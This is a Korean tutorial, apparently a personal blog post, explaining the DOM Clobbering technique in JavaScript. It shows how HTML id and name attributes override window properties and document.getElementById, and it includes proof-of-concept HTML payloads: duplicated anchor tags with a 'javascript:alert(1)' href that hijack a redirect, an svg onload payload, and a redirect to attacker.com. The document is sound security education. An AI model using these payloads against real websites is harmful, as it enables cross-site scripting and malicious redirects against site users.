: Javascript로 태그에 접근하는 방법은 2가지가 있다.
<h1 id="GOOD">Pongchi</h1> <!-- 이런 태그 있을 때 -->
document.getElementById("GOOD");
window.GOOD;
파일 또는 데이터의 우연적인 삭제 또는 겹쳐 씀.
: DOM Clobbering은 Javascript에서의 DOM 처리 방식을 이용한 공격 기법이다. Clobbering은 소프트웨어 공학에서 의도적, 비의도적으로 특정 메모리나 레지스터를 완전히 덮어쓰는 현상을 의미한다.
<a id="test" href="GOOD">하이퍼링크</a>
<script>
alert(window.test);
</script>
: 위의 내용을 악용하면 됨!
<h1 id="title">Pongchi</h1>
<script>
var T = document.getElementById("title").innerText;
if (T === "Pongchi") {
alert("Pongchi");
}
</script>
: 정상적인 경우에는 alert 창이 띄워질 수 밖에 없다. 하지만 DOM Clobberring을 이용한다면?
<form action="TEST" name="getElementById"></form>
<h1 id="title">Pongchi</h1>
<script>
var T = document.getElementById("title").innerText;
if (T === "Pongchi") {
alert("Pongchi");
}
</script>
: form태그의 name이 getElementById이다. 페이지를 실행해보면 alert창이 띄워지지 않는 것을 볼 수 있는데, console 창을 보면 아래와 같은 오류를 볼 수 있다.
<script>
window.CONFIG = window.CONFIG || {
version: "v20220216",
keyValue: false,
ToLocation: "https://velog.io/@pongchi",
DefaultLocation: "https://velog.io"
}
if (window.CONFIG.keyValue !== false) {
location.href=window.CONFIG.ToLocation;
}
else {
location.href=window.CONFIG.DefaultLocation;
}
</script>
: 이런 코드가 있을 때, alert창을 띄워봅시다.
<form id="CONFIG">
<a name="ToLocation" href="javascript:alert(1);">
</form>
: 이렇게하면 될 것 같지만, undefined가 뜬다.
왜냐하면, a태그는 form 태그의 속성값으로 사용 할 수 없다. 그래서 다른 방법을 찾아야함. 일단 그 전에 a태그를 사용한 이유는 toString값이 href를 반환하기 때문이다.
<!-- 예시 -->
<a id="NAME" href="https://velog.io/@pongchi">Pongchi's Velog</a>
<script>
alert(window.NAME);
</script>
<a id="GOOD">HELLO</a>
<a id="GOOD" name="TEST">WORLD</a>
: 이런 id가 중복되는 코드가 있다면 원하는 태그에 접근하기 위해 다음과 같은 행동을 할 수 있다.
window.GOOD.TEST
: 만약 중복이 되어있지 않다면 window.GOOD 으로 바로 접근이 되기에 window.GOOD.TEST는 undefined가 뜸. 이를 이용해서 Exploit 해보자!!
<a id="CONFIG"></a>
<a id="CONFIG" name="ToLocation" href="javascript:alert(1)"></a>
<script>
window.CONFIG = window.CONFIG || {
version: "v20220216",
keyValue: false,
ToLocation: "https://velog.io/@pongchi",
DefaultLocation: "https://velog.io"
}
if (window.CONFIG.keyValue !== false) {
location.href=window.CONFIG.ToLocation;
}
else {
location.href=window.CONFIG.DefaultLocation;
}
</script>
: 이렇게 a태그를 2개를 넣음으로써 alert창이 띄워지는 것을 볼 수 있다.
<a id="buy" href="//<svg onload=alert(1)>"></a>
<script>
document.innerHTML = window.buy
</script>
<a id="url" href="//www.attacker.com"></a>
<script>
location.href = window.url
</script>
[ String to Code Table ]
구글 Gmail이 DOM Clobbering으로 인해 XSS 취약점이 발생했다. 구글 팀은 이 취약점을 'Awesome' 이라고 짓음.